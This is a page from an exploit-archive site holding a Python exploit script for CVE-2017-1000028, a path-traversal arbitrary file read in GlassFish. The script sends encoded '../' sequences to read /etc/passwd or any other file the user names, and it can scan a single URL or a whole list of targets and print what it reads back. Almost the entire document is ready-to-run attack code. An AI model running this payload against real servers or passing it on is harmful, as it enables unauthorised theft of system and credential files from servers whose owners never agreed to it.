4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / cve-2017-1000028.py PY
from bdb import checkfuncname
import urllib3
import argparse
import sys
import re
import requests

def banner():
    print("CVE-2017-1000028 POC&EXP  BY: NeonNOXXX");
    print("TIPS:The mode -c only can be used in SingleUrl mode.");  



def checkSingle(target):
    headers = {
        'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36'
    }
    payload = '/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd'
    urllib3.disable_warnings()
    try:
        re = requests.get(target + payload,headers = headers,verify = False)
        print('[+]Proving on target : ',target)
        if re.status_code == 200 and 'root' in re.text:
            print(target + ' is vulnerable.')
            #print(re.text)
        else:    
            print(target + ' is not vulnerable.')
    except:
        print('[-]Error.')
        sys.exit(0)
        #re1 = requests.get(target.strip("/") + payload,headers = headers,verify = True)
        #print(re1.text)

def checkSingleText(target):
    headers = {
        'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36'
    }
    payload = '/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd'
    urllib3.disable_warnings()
    try:
        re = requests.get(target + payload,headers = headers,verify = False)
        print('[+]Proving on target : ',target)
        if re.status_code == 200 and 'root' in re.text:
            print('[+]' + target + ' is vulnerable.')
            print(re.text)
        else:    
            print('[+]' + target + ' is not vulnerable.')
    except:
        print('[-]Error.')
        sys.exit(0)
        #re1 = requests.get(target.strip("/") + payload,headers = headers,verify = True)
        #print(re1.text)

def checkBunch(file):
    headers = {
        'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36'
    }
    payload = '/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd'
    print('[+]Proving...')
    urllib3.disable_warnings()
    with open(file,'r') as f:
            target = f.readlines()
            for t in target:
                t = t.strip('\n')
                try:
                    re = requests.get(t + payload,headers = headers,verify = False)
                    if re.status_code == 200 and 'root' in re.text:
                        print('[+]' + t + ' is vulnerable.')
                    else:
                        print('[+]' + t + ' is not vulnerable.')
                
                except:
                    print('[-]Error.') 
                    sys.exit(0)         


def checkCustom(target,custom):
    headers = {
        'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36'
    }
    payload = target + '/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae' + custom
    #print(payload)
    urllib3.disable_warnings()
    try:
        re = requests.get(payload,headers = headers,verify = False)
        if re.status_code == 200:
            print(re.text)
        else:
            print('Cannot read this file.')
    except:
        print('[-]Error.')
        sys.exit(0)


if __name__ == "__main__":
    banner();

    parser = argparse.ArgumentParser(description = 'GlassFish Arbitary File Reading(CVE-2017-100028)')
    parser.add_argument('-u',action = "store",dest = "url",help = "Single Target URL")  #action="store":仅保留参数
    parser.add_argument('-ut',action = "store",dest = "url_text",help = "Output the passwd file of this Single Target URL")  #action="store":仅保留参数
    parser.add_argument('-f',action = "store",dest = "file",help = "Read ftom url.txt")    #"Required:True":参数必需 
    parser.add_argument('-c',action = "store",dest = "custom",help = "Read the Custom File.")    #"Required:True":参数必需
    args_opt, _ = parser.parse_known_args()
    args = parser.parse_args()
    urllib3.disable_warnings()  

    
    

    if not args.url and not args.file and not args.url_text and not args.custom:
        print("Please spectified one option(-h / -u URL / -uc url customfilepath / -f url.txt / -c The file you want to read.).")
        sys.exit(1)
    
    if args.url:
        checkSingle(args.url)
    
    if args.file:
        checkBunch(args.file)
    
    if args.url_text:
        checkSingleText(args.url_text);

    if args.url and args.custom:
        checkCustom(args.url,args.custom)
            
            
            
 




#payload:/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
###